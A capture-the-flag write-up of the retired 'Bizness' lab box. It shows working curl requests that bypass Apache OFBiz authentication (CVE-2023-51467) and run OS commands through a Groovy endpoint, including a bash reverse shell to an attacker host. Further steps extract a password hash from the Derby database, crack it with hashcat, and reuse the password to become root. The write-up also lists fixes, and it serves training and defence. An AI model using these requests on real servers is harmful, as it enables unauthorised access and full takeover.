Bizness
Summary
I exploited a login-bypass flaw in Apache OFBiz (CVE-2023-51467) to reach a privileged server-side Groovy scripting endpoint without credentials, then injected OS commands that delivered a shell as the ofbiz service account. From that foothold I extracted a password hash from OFBiz's on-disk Derby database, cracked it offline to the plaintext <withheld>, and discovered that the same password was set as the Linux root account's password — yielding full system control with no further exploitation required.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for root>"
export HASH="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 2
Fingerprint services and grab HTTP page titles.
$ nmap -Pn -sV -p 22,80,443,44803 --script http-title $TARGETConfirm OFBiz is the running application on the HTTPS vhost.
$ curl -sk https://$TARGET/ -H 'Host: bizness.htb' | grep -i ofbizExact commands 2
Should return '200 164' — confirms the bypass is active.
$ curl -sk "https://$TARGET/accounting/control/main?USERNAME=&PASSWORD=&requirePasswordChange=Y" -H 'Host: bizness.htb' -o /dev/null -w '%{http_code} %{size_download}'Should return '200 9722' — confirms the scripting endpoint is reachable without authentication.
$ curl -sk "https://$TARGET/webtools/control/ProgramExport?USERNAME=&PASSWORD=&requirePasswordChange=Y" -H 'Host: bizness.htb' -o /dev/null -w '%{http_code} %{size_download}'FixPatch Apache OFBiz to eliminate the authentication bypass and Groovy RCECritical
Exact commands 2
Proof-of-concept — confirms RCE; output should contain uid=1001(ofbiz).
$ curl -sk "https://$TARGET/webtools/control/ProgramExport?USERNAME=&PASSWORD=&requirePasswordChange=Y" -H 'Host: bizness.htb' --data-urlencode 'groovyProgram=throw new Exception("id".execute().text)' | grep -iE 'uid=|Exception|error|java|ofbiz' | head -40Replace $ATTACKER_IP with your listener IP. Catch the shell with: nc -lvnp 443
$ curl -sk "https://$TARGET/webtools/control/ProgramExport?USERNAME=&PASSWORD=&requirePasswordChange=Y" -H 'Host: bizness.htb' --data-urlencode 'groovyProgram=["bash","-c","bash -i >& /dev/tcp/'"$ATTACKER_IP"'/443 0>&1"].execute()'Exact commands 1
Confirms uid=1001(ofbiz) and retrieves <user.txt>.
$ id; cat /home/ofbiz/user.txtExact commands 2
List Derby database files accessible to the ofbiz account.
$ find /opt/ofbiz/runtime/data/derby/ofbiz -type f 2>/dev/nullExtract the OFBiz admin hash — it appears in the format $SHA$<salt>$<base64value>.
$ grep -rl 'currentPassword\|PASSWORD' /opt/ofbiz/runtime/data/derby/ofbiz/ 2>/dev/null | xargs strings 2>/dev/null | grep -i '\$SHA\|\$1\|\$SHA1' | head -20FixRestrict access to the OFBiz Derby database directoryHigh
Exact commands 2
Mode 120 = sha1($salt.$pass). Substitute the actual hash extracted from Derby. Recovers: $PASSWORD.
$ hashcat -m 120 "$HASH" /usr/share/wordlists/rockyou.txt --forceManually verify the candidate against the extracted hash before use.
$ python3 -c "import hashlib, base64; salt='d'; pw='$PASSWORD'; print(base64.urlsafe_b64encode(hashlib.sha1((salt+pw).encode()).digest()).decode())"FixEnforce strong, unique passwords for all OFBiz application accountsHigh
Exact commands 1
Authenticates as root using the cracked Derby password — returns uid=0(root) and <root.txt>.
$ printf "$PASSWORD\n" | su - root -c 'id; cat /root/root.txt'
uid=0(root)FixNever reuse application or database passwords for OS system accountsCritical
Exposed services
| 22/tcp | ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) |
| 80/tcp | http recon-sweep-discovered |
| 443/tcp | http recon-sweep-discovered |
| 44803/tcp | tcpwrapped |